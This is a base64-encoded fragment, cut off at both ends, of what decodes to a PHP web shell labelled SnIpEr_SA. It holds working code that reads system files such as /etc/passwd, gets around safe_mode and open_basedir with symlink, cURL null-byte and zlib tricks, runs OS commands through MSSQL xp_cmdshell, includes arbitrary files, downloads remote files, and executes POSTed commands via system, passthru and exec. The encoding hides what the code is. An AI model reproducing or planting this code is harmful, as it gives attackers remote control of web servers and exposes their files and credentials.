ChcInVuYWJsZSB0byByZWFkIGZpbGU6ICRmaWxlIHVzaW5nOiBmaWxlXCIpOyA8L3NjcmlwdD4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBpZiAoJG1ldGhvZD09ImZyZWFkIikgew0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKEBmb3BlbigkZmlsZSwgJ3InKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZnAgPSBmb3BlbigkZmlsZSwgJ3InKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHN0cmluZyA9IGZyZWFkKCRmcCwgZmlsZXNpemUoJGZpbGUpKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPHByZT4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICRzdHJpbmc7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjwvcHJlPiI7DQogICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8c2NyaXB0PiBhbGVydChcInVuYWJsZSB0byByZWFkIGZpbGU6ICRmaWxlIHVzaW5nOiBmcmVhZFwiKTsgPC9zY3JpcHQ+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgaWYgKCRtZXRob2Q9PSJzaG93X3NvdXJjZSIpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChzaG93X3NvdXJjZSgkZmlsZSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPHByZT4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvIHNob3dfc291cmNlKCRmaWxlKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPC9wcmU+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxzY3JpcHQ+IGFsZXJ0KFwidW5hYmxlIHRvIHJlYWQgZmlsZTogJGZpbGUgdXNpbmc6IHNob3dfc291cmNlXCIpOyA8L3NjcmlwdD4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGlmICgkbWV0aG9kPT0icmVhZGZpbGUiKSB7DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8cHJlPiI7DQogICAgICAgICAgICAgICAgICAgICAgICBpZiAocmVhZGZpbGUoJGZpbGUpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vZWNobyAiPHByZT4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAvL2VjaG8gcmVhZGZpbGUoJGZpbGUpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8L3ByZT4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPC9wcmU+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPHNjcmlwdD4gYWxlcnQoXCJ1bmFibGUgdG8gcmVhZCBmaWxlOiAkZmlsZSB1c2luZzogcmVhZGZpbGVcIik7IDwvc2NyaXB0PiI7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICB9DQoNCmZ1bmN0aW9uIGRvemlwMSgkbGluaywkZmlsZSkNCnsNCiAgICRmcCA9IEBmb3BlbigkbGluaywiciIpOw0KICAgd2hpbGUoIWZlb2YoJGZwKSkNCiAgIHsNCiAgICAgICAkY29udC49IGZyZWFkKCRmcCwxMDI0KTsNCiAgIH0NCiAgIGZjbG9zZSgkZnApOw0KDQogICAkZnAyID0gQGZvcGVuKCRmaWxlLCJ3Iik7DQogICBmd3JpdGUoJGZwMiwkY29udCk7DQogICBmY2xvc2UoJGZwMik7DQp9DQppZiAoaXNzZXQoJF9QT1NUWydmdW56aXAnXSkpDQp7DQpkb3ppcDEoJF9QT1NUWydmdW56aXAnXSwkX1BPU1RbJ2Z6aXAnXSk7DQp9DQppZihlbXB0eSgkX1BPU1RbJ3Jvb3QnXSkpew0KfSBlbHNlIHsNCiAgICRyb290ID0gJF9QT1NUWydyb290J107IH0NCg0KDQoNCg0KICAkYyA9IDA7ICREID0gYXJyYXkoKTsNCiAgc2V0X2Vycm9yX2hhbmRsZXIoImVoIik7DQoNCiAgJGNoYXJzID0gIl8tLjAxMjM0NTY3ODkwYWJjZGVmZ2hpamtsbm1vcHFyc3R1dnd4eXpBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWiI7DQoNCiAgZm9yKCRpPTA7ICRpIDwgc3RybGVuKCRjaGFycyk7ICRpKyspew0KICAkcGF0aCA9Inskcm9vdH0iLigoc3Vic3RyKCRyb290LC0xKSE9Ii8iKSA/ICIvIiA6IE5VTEwpLiJ7JGNoYXJzWyRpXX0iOw0KDQogICRwcmV2RCA9ICREW2NvdW50KCREKS0xXTsNCiAgZ2xvYigkcGF0aC4iKiIpOw0KDQogICAgICAgIGlmKCREW2NvdW50KCREKS0xXSAhPSAkcHJldkQpew0KDQogICAgICAgIGZvcigkaj0wOyAkaiA8IHN0cmxlbigkY2hhcnMpOyAkaisrKXsNCg0KICAgICAgICAgICAkcGF0aCA9Inskcm9vdH0iLigoc3Vic3RyKCRyb290LC0xKSE9Ii8iKSA/ICIvIiA6IE5VTEwpLiJ7JGNoYXJzWyRpXX17JGNoYXJzWyRqXX0iOw0KDQogICAgICAgICAgICRwcmV2RDIgPSAkRFtjb3VudCgkRCktMV07DQogICAgICAgICAgIGdsb2IoJHBhdGguIioiKTsNCg0KICAgICAgICAgICAgICBpZigkRFtjb3VudCgkRCktMV0gIT0gJHByZXZEMil7DQoNCg0KICAgICAgICAgICAgICAgICBmb3IoJHA9MDsgJHAgPCBzdHJsZW4oJGNoYXJzKTsgJHArKyl7DQoNCiAgICAgICAgICAgICAgICAgJHBhdGggPSJ7JHJvb3R9Ii4oKHN1YnN0cigkcm9vdCwtMSkhPSIvIikgPyAiLyIgOiBOVUxMKS4ieyRjaGFyc1skaV19eyRjaGFyc1skal19eyRjaGFyc1skcF19IjsNCg0KICAgICAgICAgICAgICAgICAkcHJldkQzID0gJERbY291bnQoJEQpLTFdOw0KICAgICAgICAgICAgICAgICBnbG9iKCRwYXRoLiIqIik7DQoNCiAgICAgICAgICAgICAgICAgICAgaWYoJERbY291bnQoJEQpLTFdICE9ICRwcmV2RDMpew0KDQoNCiAgICAgICAgICAgICAgICAgICAgICAgZm9yKCRyPTA7ICRyIDwgc3RybGVuKCRjaGFycyk7ICRyKyspew0KDQogICAgICAgICAgICAgICAgICAgICAgICRwYXRoID0ieyRyb290fSIuKChzdWJzdHIoJHJvb3QsLTEpIT0iLyIpID8gIi8iIDogTlVMTCkuInskY2hhcnNbJGldfXskY2hhcnNbJGpdfXskY2hhcnNbJHBdfXskY2hhcnNbJHJdfSI7DQogICAgICAgICAgICAgICAgICAgICAgIGdsb2IoJHBhdGguIioiKTsNCg0KICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICB9DQoNCiAgICAgICAgfQ0KDQogICAgICAgIH0NCg0KICB9DQoNCiAgJEQgPSBhcnJheV91bmlxdWUoJEQpOw0KDQoNCg0KDQogIGZvcmVhY2goJEQgYXMgJGl0ZW0pDQogIGlmKGlzc2V0KCRfUkVRVUVTVFsncm9vdCddKSkNCiAgZWNobyAieyRpdGVtfVxuIjsNCg0KDQoNCg0KICBmdW5jdGlvbiBlaCgkZXJybm8sICRlcnJzdHIsICRlcnJmaWxlLCAkZXJybGluZSl7DQoNCiAgICAgZ2xvYmFsICRELCAkYywgJGk7DQogICAgIHByZWdfbWF0Y2goIi9TQUZFXCBNT0RFXCBSZXN0cmljdGlvblwgaW5cIGVmZmVjdFwuLip3aG9zZVwgdWlkXCBpcyguKilpc1wgbm90XCBhbGxvd2VkXCB0b1wgYWNjZXNzKC4qKW93bmVkIGJ5IHVpZCguKikvIiwgJGVycnN0ciwgJG8pOw0KICAgICBpZigkbyl7ICREWyRjXSA9ICRvWzJdOyAkYysrO30NCg0KICB9DQoNCg0KDQoNCg0KaWYoJHNhZmVfbW9kZSkNCnsNCiBzd2l0Y2goJF9QT1NUWydjbWQnXSkNCiB7DQogY2FzZSAnc2FmZV9kaXInOg0KICAkZD1AZGlyKCRkaXIpOw0KICBpZiAoJGQpDQogICB7DQogICB3aGlsZSAoZmFsc2UhPT0oJGZpbGU9JGQtPnJlYWQoKSkpDQogICAgew0KICAgICBpZiAoJGZpbGU9PSIuIiB8fCAkZmlsZT09Ii4uIikgY29udGludWU7DQogICAgIEBjbGVhcnN0YXRjYWNoZSgpOw0KICAgICBsaXN0ICgkZGV2LCAkaW5vZGUsICRpbm9kZXAsICRubGluaywgJHVpZCwgJGdpZCwgJGlub2RldiwgJHNpemUsICRhdGltZSwgJG10aW1lLCAkY3RpbWUsICRic2l6ZSkgPSBzdGF0KCRmaWxlKTsNCiAgICAgaWYoISR1bml4KXsNCiAgICAgZWNobyBkYXRlKCJkLm0uWSBIOmkiLCRtdGltZSk7DQogICAgIGlmKEBpc19kaXIoJGZpbGUpKSBlY2hvICIgIDxESVI+ICI7IGVsc2UgcHJpbnRmKCIlIDdzICIsJHNpemUpOw0KICAgICB9DQogICAgIGVsc2V7DQogICAgICRvd25lciA9IEBwb3NpeF9nZXRwd3VpZCgkdWlkKTsNCiAgICAgJGdyZ2lkID0gQHBvc2l4X2dldGdyZ2lkKCRnaWQpOw0KICAgICBlY2hvICRpbm9kZS4iICI7DQogICAgIGVjaG8gcGVybXMoQGZpbGVwZXJtcygkZmlsZSkpOw0KICAgICBwcmludGYoIiUgNGQgJSA5cyAlIDlzICU3cyAiLCRubGluaywkb3duZXJbJ25hbWUnXSwkZ3JnaWRbJ25hbWUnXSwkc2l6ZSk7DQogICAgIGVjaG8gZGF0ZSgiZC5tLlkgSDppICIsJG10aW1lKTsNCiAgICAgfQ0KICAgICBlY2hvICIkZmlsZVxuIjsNCiAgICB9DQogICAkZC0+Y2xvc2UoKTsNCiAgIH0NCiAgZWxzZSBlY2hvICRsYW5nWyRsYW5ndWFnZS5fdGV4dDI5XTsNCiBicmVhazsNCiAgICB9DQp9DQplbHNlIGlmKCgkX1BPU1RbJ2NtZCddIT0icGhwX2V2YWwiKSYmKCRfUE9TVFsnY21kJ10hPSJteXNxbF9kdW1wIikmJigkX1BPU1RbJ2NtZCddIT0iZGJfcXVlcnkiKSYmKCRfUE9TVFsnY21kJ10hPSJmdHBfYnJ1dGUiKSl7DQogJGNtZF9yZXAgPSBleCgkX1BPU1RbJ2NtZCddKTsNCiBpZighJHVuaXgpIHsgZWNobyBAaHRtbHNwZWNpYWxjaGFycyhAY29udmVydF9jeXJfc3RyaW5nKCRjbWRfcmVwLCdkJywndycpKS4iXG4iOyB9DQogZWxzZSB7IGVjaG8gQGh0bWxzcGVjaWFsY2hhcnMoJGNtZF9yZXApLiJcbiI7IH19DQogaWYoJF9QT1NUWydjbWQnXSkNCnsNCiBzd2l0Y2goJF9QT1NUWydjbWQnXSkNCiB7DQogIGNhc2UgJ3Rlc3QxJzoNCiAgJGNpID0gQGN1cmxfaW5pdCgiZmlsZTovLyIuJF9QT1NUWyd0ZXN0MV9maWxlJ10uIiIpOw0KICAkY2YgPSBAY3VybF9leGVjKCRjaSk7DQogIGVjaG8gJGNmOw0KICBicmVhazsNCiAgY2FzZSAndGVzdDInOg0KICBAaW5jbHVkZSgkX1BPU1RbJ3Rlc3QyX2ZpbGUnXSk7DQogIGJyZWFrOw0KICBjYXNlICdteXNxbGInOg0KDQokbWhvc3QgPSAibG9jYWxob3N0IjsNCiRtdXNlciA9ICRfUE9TVFsndGVzdDNfbWwnXTsNCiRtcGFzcyA9ICRfUE9TVFsndGVzdDNfbXAnXTsNCiRtZGIgICA9ICRfUE9TVFsndGVzdDNfbWQnXTsNCiRmaWxlID0gJF9QT1NUWyd0ZXN0M19maWxlJ107DQoNCi8vIGRlZmF1bHQgbXlzcWxfcmVhZCBmaWxlcyBbc2VwZXJhdGVkIGJ5OiAnOiddOg0KJG15c3FsX2ZpbGVzX3N0ciA9ICIvZXRjL3Bhc3N3ZDovcHJvYy9jcHVpbmZvOi9ldGMvcmVzb2x2LmNvbmY6L2V0Yy9wcm9mdHBkLmNvbmYiOw0KJG15c3FsX2ZpbGVzID0gZXhwbG9kZSgnOicsICRteXNxbF9maWxlc19zdHIpOw0KDQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3FsID0gYXJyYXkgKA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJVU0UgJG1kYiIsDQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnQ1JFQVRFIFRFTVBPUkFSWSBUQUJMRSAnIC4gKCR0YmwgPSAnQScudGltZSAoKSkgLiAnIChhIExPTkdCTE9CKScsDQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiTE9BRCBEQVRBIExPQ0FMIElORklMRSAnJGZpbGUnIElOVE8gVEFCTEUgJHRibCBGSUVMRFMgIg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC4gIlRFUk1JTkFURUQgQlkgICAgICAgJ19fVEhJU19ORVZFUl9IQVBQRU5TX18nICINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAuICJFU0NBUEVEIEJZICAgICAgICAgICcnICINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAuICJMSU5FUyBURVJNSU5BVEVEIEJZICdfX1RISVNfTkVWRVJfSEFQUEVOU19fJyIsDQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiU0VMRUNUIGEgRlJPTSAkdGJsIExJTUlUIDEiDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKTsNCg0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbXlzcWxfY29ubmVjdCAoJG1ob3N0LCAkbXVzZXIsICRtcGFzcyk7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkc3FsIGFzICRzdGF0ZW1lbnQpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcSA9IG15c3FsX3F1ZXJ5ICgkc3RhdGVtZW50KTsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkcSA9PSBmYWxzZSkgZGllICgNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiRkFJTEVEOiAiIC4gJHN0YXRlbWVudCAuICJcbiIgLg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJSRUFTT046ICIgLiBteXNxbF9lcnJvciAoKSAuICJcbiINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICApOw0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCEgJHIgPSBAbXlzcWxfZmV0Y2hfYXJyYXkgKCRxLCBNWVNRTF9OVU0pKSBjb250aW51ZTsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkclswXSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbXlzcWxfZnJlZV9yZXN1bHQgKCRxKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCg0KZWNobyAiPC90ZXh0YXJlYT4iOw0KDQogYnJlYWs7DQogIGNhc2UgJ3Rlc3Q0JzoNCiAgaWYoZW1wdHkoJF9QT1NUWyd0ZXN0NF9wb3J0J10pKSB7ICRfUE9TVFsndGVzdDRfcG9ydCddID0gIjE0MzMiOyB9DQogICRkYiA9IEBtc3NxbF9jb25uZWN0KCdsb2NhbGhvc3QsJy4kX1BPU1RbJ3Rlc3Q0X3BvcnQnXSwkX1BPU1RbJ3Rlc3Q0X21sJ10sJF9QT1NUWyd0ZXN0NF9tcCddKTsNCiAgaWYoJGRiKQ0KICAgew0KICAgaWYoQG1zc3FsX3NlbGVjdF9kYigkX1BPU1RbJ3Rlc3Q0X21kJ10sJGRiKSkNCiAgICB7DQogICAgIEBtc3NxbF9xdWVyeSgiZHJvcCB0YWJsZSBTbklwRXJfU0FfdGVtcF90YWJsZSIsJGRiKTsNCiAgICAgQG1zc3FsX3F1ZXJ5KCJjcmVhdGUgdGFibGUgU25JcEVyX1NBX3RlbXBfdGFibGUgKCBzdHJpbmcgVkFSQ0hBUiAoNTAwKSBOVUxMKSIsJGRiKTsNCiAgICAgQG1zc3FsX3F1ZXJ5KCJpbnNlcnQgaW50byBTbklwRXJfU0FfdGVtcF90YWJsZSBFWEVDIG1hc3Rlci5kYm8ueHBfY21kc2hlbGwgJyIuJF9QT1NUWyd0ZXN0NF9maWxlJ10uIiciLCRkYik7DQogICAgICRyZXMgPSBtc3NxbF9xdWVyeSgic2VsZWN0ICogZnJvbSBTbklwRXJfU0FfdGVtcF90YWJsZSIsJGRiKTsNCiAgICAgd2hpbGUoKCRyb3c9QG1zc3FsX2ZldGNoX3JvdygkcmVzKSkpDQogICAgICB7DQogICAgICBlY2hvICRyb3dbMF0uIlxyXG4iOw0KICAgICAgfQ0KICAgIEBtc3NxbF9xdWVyeSgiZHJvcCB0YWJsZSBTbklwRXJfU0FfdGVtcF90YWJsZSIsJGRiKTsNCiAgICB9DQogICAgZWxzZSBlY2hvICJbLV0gRVJST1IhIENhbid0IHNlbGVjdCBkYXRhYmFzZSI7DQogICBAbXNzcWxfY2xvc2UoJGRiKTsNCiAgIH0NCiAgZWxzZSBlY2hvICJbLV0gRVJST1IhIENhbid0IGNvbm5lY3QgdG8gTVNTUUwgc2VydmVyIjsNCiAgYnJlYWs7DQogIGNhc2UgJ3Rlc3Q1JzoNCiAgaWYgKEBmaWxlX2V4aXN0cygnL3RtcC9tYl9zZW5kX21haWwnKSkgQHVubGluaygnL3RtcC9tYl9zZW5kX21haWwnKTsNCiAgJGV4dHJhID0gIi1DICIuJF9QT1NUWyd0ZXN0NV9maWxlJ10uIiAtWCAvdG1wL21iX3NlbmRfbWFpbCI7DQogIEBtYl9zZW5kX21haWwoTlVMTCwgTlVMTCwgTlVMTCwgTlVMTCwgJGV4dHJhKTsNCiAgJGxpbmVzID0gZmlsZSAoJy90bXAvbWJfc2VuZF9tYWlsJyk7DQogIGZvcmVhY2ggKCRsaW5lcyBhcyAkbGluZSkgeyBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGxpbmUpLiJcclxuIjsgfQ0KICBicmVhazsNCiAgY2FzZSAndGVzdDYnOg0KICAkc3RyZWFtID0gQGltYXBfb3BlbignL2V0Yy9wYXNzd2QnLCAiIiwgIiIpOw0KICAkZGlyX2xpc3QgPSBAaW1hcF9saXN0KCRzdHJlYW0sIHRyaW0oJF9QT1NUWyd0ZXN0Nl9maWxlJ10pLCAiKiIpOw0KICBmb3IgKCRpID0gMDsgJGkgPCBjb3VudCgkZGlyX2xpc3QpOyAkaSsrKSBlY2hvICRkaXJfbGlzdFskaV0uIlxyXG4iOw0KICBAaW1hcF9jbG9zZSgkc3RyZWFtKTsNCiAgYnJlYWs7DQogIGNhc2UgJ3Rlc3Q3JzoNCiAgJHN0cmVhbSA9IEBpbWFwX29wZW4oJF9QT1NUWyd0ZXN0N19maWxlJ10sICIiLCAiIik7DQogICRzdHIgPSBAaW1hcF9ib2R5KCRzdHJlYW0sIDEpOw0KICBlY2hvICRzdHI7DQogIEBpbWFwX2Nsb3NlKCRzdHJlYW0pOw0KICBicmVhazsNCiAgY2FzZSAndGVzdDgnOg0KICBpZihAY29weSgiY29tcHJlc3MuemxpYjovLyIuJF9QT1NUWyd0ZXN0OF9maWxlMSddLCAkX1BPU1RbJ3Rlc3Q4X2ZpbGUyJ10pKSBlY2hvICRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMTgnXTsNCiAgZWxzZSBlY2hvICRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMTknXTsNCiAgYnJlYWs7DQpjYXNlICdjVVJMJzoNCiAgIGlmKGVtcHR5KCRfUE9TVFsnU25JcEVyX1NBJ10pKXsNCg0KDQp9IGVsc2Ugew0KJGN1cmw9JF9QT1NUWydTbklwRXJfU0EnXTsNCiRjaCA9Y3VybF9pbml0KCJmaWxlOi8vLyIuJGN1cmwuIlx4MDAvLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vIi5fX0ZJTEVfXyk7DQpjdXJsX2V4ZWMoJGNoKTsNCnZhcl9kdW1wKGN1cmxfZXhlYygkY2gpKTsNCmVjaG8gIjwvdGV4dGFyZWE+PC9DRU5URVI+IjsNCg0KfQ0KYnJlYWs7DQpjYXNlICdjb3B5JzoNCg0KaWYoZW1wdHkoJHNubikpew0KaWYoZW1wdHkoJF9HRVRbJ3NubiddKSl7DQppZihlbXB0eSgkX1BPU1RbJ3NubiddKSl7DQoNCn0gZWxzZSB7DQokdTFwPSRfUE9TVFsnc25uJ107DQp9DQp9IGVsc2Ugew0KJHUxcD0kX0dFVFsnc25uJ107DQp9DQp9DQogICR1MXA9IiI7IC8vIEZpbGUgdG8gSW5jbHVkZS4uLiBvciB1c2UgX0dFVCBfUE9TVA0KJHR5bWN6YXM9IiI7IC8vIFNldCAkdHltY3phcyB0byBkaXIgd2hlcmUgeW91IGhhdmUgNzc3IGxpa2UgL3Zhci90bXANCg0KDQokdGVtcD10ZW1wbmFtKCR0eW1jemFzLCAiY3giKTsNCg0KaWYoY29weSgiY29tcHJlc3MuemxpYjovLyIuJHNubiwgJHRlbXApKXsNCiR6cm9kbG8gPSBmb3BlbigkdGVtcCwgInIiKTsNCiR0ZWtzdCA9IGZyZWFkKCR6cm9kbG8sIGZpbGVzaXplKCR0ZW1wKSk7DQpmY2xvc2UoJHpyb2Rsbyk7DQplY2hvICIiLmh0bWxzcGVjaWFsY2hhcnMoJHRla3N0KS4iIjsNCnVubGluaygkdGVtcCk7DQplY2hvICI8L3RleHRhcmVhPjwvQ0VOVEVSPiI7DQp9DQpicmVhazsNCmNhc2UgJ2luaV9yZXN0b3JlJzoNCiBpZihlbXB0eSgkX1BPU1RbJ2luaV9yZXN0b3JlJ10pKXsNCn0gZWxzZSB7DQoNCiRpbmk9JF9QT1NUWydpbmlfcmVzdG9yZSddOw0KZWNobyBpbmlfZ2V0KCJzYWZlX21vZGUiKTsNCmVjaG8gaW5pX2dldCgib3Blbl9iYXNlZGlyIik7DQpyZXF1aXJlX29uY2UoIiRpbmkiKTsNCmluaV9yZXN0b3JlKCJzYWZlX21vZGUiKTsNCmluaV9yZXN0b3JlKCJvcGVuX2Jhc2VkaXIiKTsNCmVjaG8gaW5pX2dldCgic2FmZV9tb2RlIik7DQplY2hvIGluaV9nZXQoIm9wZW5fYmFzZWRpciIpOw0KaW5jbHVkZSgkX0dFVFsic3MiXSk7DQplY2hvICI8L3RleHRhcmVhPjwvQ0VOVEVSPiI7DQp9DQpicmVhazsNCmNhc2UgJ2dsb2InOg0KZnVuY3Rpb24gcmVnX2dsb2IoKQ0Kew0KJGNoZW1pbj0kX1JFUVVFU1RbJ2dsb2InXTsNCiRmaWxlcyA9IGdsb2IoIiRjaGVtaW4qIik7DQoNCg0KZm9yZWFjaCAoJGZpbGVzIGFzICRmaWxlbmFtZSkgew0KDQogICBlY2hvICIkZmlsZW5hbWVcbiI7DQoNCn0NCn0NCg0KaWYoaXNzZXQoJF9SRVFVRVNUWydnbG9iJ10pKQ0Kew0KcmVnX2dsb2IoKTsNCn0NCg0KYnJlYWs7DQpjYXNlICd6ZW5kJzoNCiBpZihlbXB0eSgkX1BPU1RbJ3plbmQnXSkpew0KfSBlbHNlIHsNCg0KJGRlemVuZD0kX1BPU1RbJ3plbmQnXTsNCmluY2x1ZGUoJF9QT1NUWyd6ZW5kJ10pOw0KcHJpbnRfcigkR0xPQkFMUyk7DQpyZXF1aXJlX29uY2UoIiRkZXplbmQiKTsNCmVjaG8gIjwvdGV4dGFyZWE+PC9wPiI7DQp9DQpicmVhazsNCiAgY2FzZSAnc3ltMSc6DQogICAgIGlmKGVtcHR5KCRfUE9TVFsnc3ltMXAnXSkpew0KICAgICAgICAgICAgIH0gZWxzZSB7DQokc3ltcD0kX1BPU1RbJ3N5bTFwJ107DQogICAgICAgICB9DQogICAgIGlmKGVtcHR5KCRfUE9TVFsnc3ltMXAyJ10pKXsNCg0KfSBlbHNlIHsNCiRzeW1wMj0kX1BPU1RbJ3N5bTFwMiddOw0KDQogIHN5bWxpbmsoImEvYS9hL2EvYS9hLyIsICJkdW1teSIpOw0Kc3ltbGluaygiZHVtbXkiLiRzeW1wMi4iIi4kc3ltcC4iIiwgInh4eCIpOw0KdW5saW5rKCJkdW1teSIpOw0Kd2hpbGUgKDEpIHsNCnN5bWxpbmsoIi4iLCAiZHVtbXkiKTsNCg0KICB9DQogfQ0KICBicmVhazsNCiAgY2FzZSAnc3ltMic6DQogIEBpbmNsdWRlKHh4eCk7DQogIGJyZWFrOw0KDQogIGNhc2UgJ3BsdWdpbic6DQogIGlmICgkX1BPU1RbJ3BsdWdpbiddICl7DQoNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcigkdWlkPTA7JHVpZDw2MDAwMDskdWlkKyspeyAgIC8vY2F0IC9ldGMvcGFzc3dkDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGFyYSA9IHBvc2l4X2dldHB3dWlkKCR1aWQpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkYXJhKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aGlsZSAobGlzdCAoJGtleSwgJHZhbCkgPSBlYWNoKCRhcmEpKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwcmludCAiJHZhbDoiOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByaW50ICJcbiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPC90ZXh0YXJlYT4iOw0KDQogICAgICAgICAgICAgfQ0KICAgICAgICBicmVhazsNCiAgICAgICAgY2FzZSAnY29tbWFuZCc6DQogICAgICAgICAgaWYgKCFlbXB0eSgkX1BPU1RbJ2NvbW1hbmQnXSkpIHsNCg0KICAgICAgICAgICAgICAgIGlmICgkbWV0aG9kPT0ic3lzdGVtIikgew0KICAgICAgICAgICAgICAgIHN5c3RlbSgkX1BPU1RbJ2NvbW1hbmQnXSk7DQogICAgICAgICAgICAgICAgZWNobyAiRnVuY3Rpb25zIHN5c3RlbSI7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGlmICgkbWV0aG9kPT0icGFzc3RocnUiKSB7DQogICAgICAgICAgICAgICAgcGFzc3RocnUoJF9QT1NUWydjb21tYW5kJ10pOw0KICAgICAgICAgICAgICAgIGVjaG8gIkZ1bmN0aW9ucyBwYXNzdGhydSI7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGlmICgkbWV0aG9kPT0iZXhlYyIpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRzdHJpbmcgPSBleGVjKCRfUE9TVFsnY29tbWFuZCddKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJHN0cmluZzsNCiAgICAgICAgICAgICAgICAgI